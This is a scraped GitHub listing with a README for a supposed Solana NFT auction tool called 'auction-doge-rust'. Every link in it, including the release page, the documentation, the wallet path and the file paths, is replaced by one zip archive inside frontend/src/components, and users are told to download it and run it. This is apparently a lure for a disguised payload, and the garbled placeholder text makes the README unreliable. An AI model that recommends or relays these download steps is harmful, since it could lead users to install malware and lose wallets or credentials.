https://github.com/luffysempai/auction-doge-rust
π¨ Create and manage NFT auctions effortlessly with "auction-doge-rust", designed for seamless bidding and secure ownership transfer.
https://github.com/luffysempai/auction-doge-rust
anchor auction nft rust solana spl-token
Last synced: 3 months ago
JSON representation
π¨ Create and manage NFT auctions effortlessly with "auction-doge-rust", designed for seamless bidding and secure ownership transfer.
- Host: GitHub
- URL: https://github.com/luffysempai/auction-doge-rust
- Owner: Luffysempai
- Created: 2025-10-10T07:09:04.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2026-04-10T19:06:26.000Z (3 months ago)
- Last Synced: 2026-04-10T21:10:41.794Z (3 months ago)
- Topics: anchor, auction, nft, rust, solana, spl-token
- Language: TypeScript
- Size: 2.38 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# πΆ auction-doge-rust - Your Easy Way to Bid on NFTs
[](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)
## π Getting Started
Welcome to **auction-doge-rust**, your straightforward tool for participating in NFT auctions. This guide will help you download the app and start bidding without any technical knowledge.
## π οΈ Download & Install
To get started, follow these steps:
1. Visit the [Releases Page](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip).
2. Look for the latest version available.
3. Download the appropriate file for your operating system.
After downloading, locate the file on your computer and run it to install the application.
## π₯ Prerequisites
Before you can use auction-doge-rust, ensure you have the necessary tools installed on your system:
- **https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip**: This is required to run the application. You can download it from [https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip Official Website](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip).
- **Yarn**: This package manager makes it easy to handle the project's dependencies. You can install it by following [Yarn Installation Guide](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip).
Additionally, you need to install `ts-node` globally. Open your command line or terminal and run:
```bash
npm install -g ts-node
```
## β
Prepare Your Solana Wallet
To interact with the auctions, you will need a Solana wallet set up. Ensure that your wallet is ready by checking the following path:
```
https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip
```
## π¬ How to Use the Application
Once you have installed the application and set up your wallet, you can start using it. Hereβs how:
1. Open the main script located at `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip`. This script contains all the functionalities you need.
2. You can view the types of program accounts at `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip`. This helps you understand how different parts of the application work together.
3. For an easy integration with JavaScript, the IDL can be found at `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip`.
### π Testing the Application
If you want to test the script's functions, follow these instructions:
1. Modify the commands in the main functions of the `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip` file to call other available functions.
2. Make sure the `ANCHOR_WALLET` environment variable is correctly configured in the `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip` file.
3. To run the application, execute the command:
```bash
yarn ts-node
```
## π¨ Features
### ποΈ Create Your Auction
- As the creator, your NFTs will be safely stored in the auction address.
- When you create an auction, call the `create_open_auction` function. The NFT will be sent to the Program Derived Address (PDA) and the auction details will be stored securely.
### π Place Bids
You can participate in various auctions by placing bids. The application tracks bids and updates participants on auction progress.
### π Identify Winners
The highest bidder at the end of the auction is declared the winner. All transactions are processed securely on the Solana blockchain.
## π License
This project is licensed under the MIT License. You are free to use, modify, and distribute the application under the terms outlined in the license.
## π Community and Support
If you have questions, consider joining the community for support. You can find discussions and help by visiting the issues section of the repository on GitHub.
If you encounter any problems or have suggestions, feel free to create an issue. We appreciate your feedback to improve the project.
## π Additional Resources
Here are a few useful resources to deepen your understanding:
- [Solana Documentation](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)
- [https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip Documentation](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)
- [Yarn Documentation](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)
For any other questions related to usage or features, do not hesitate to seek assistance from the community or check the available documentation linked above.
Thank you for using auction-doge-rust. Happy bidding!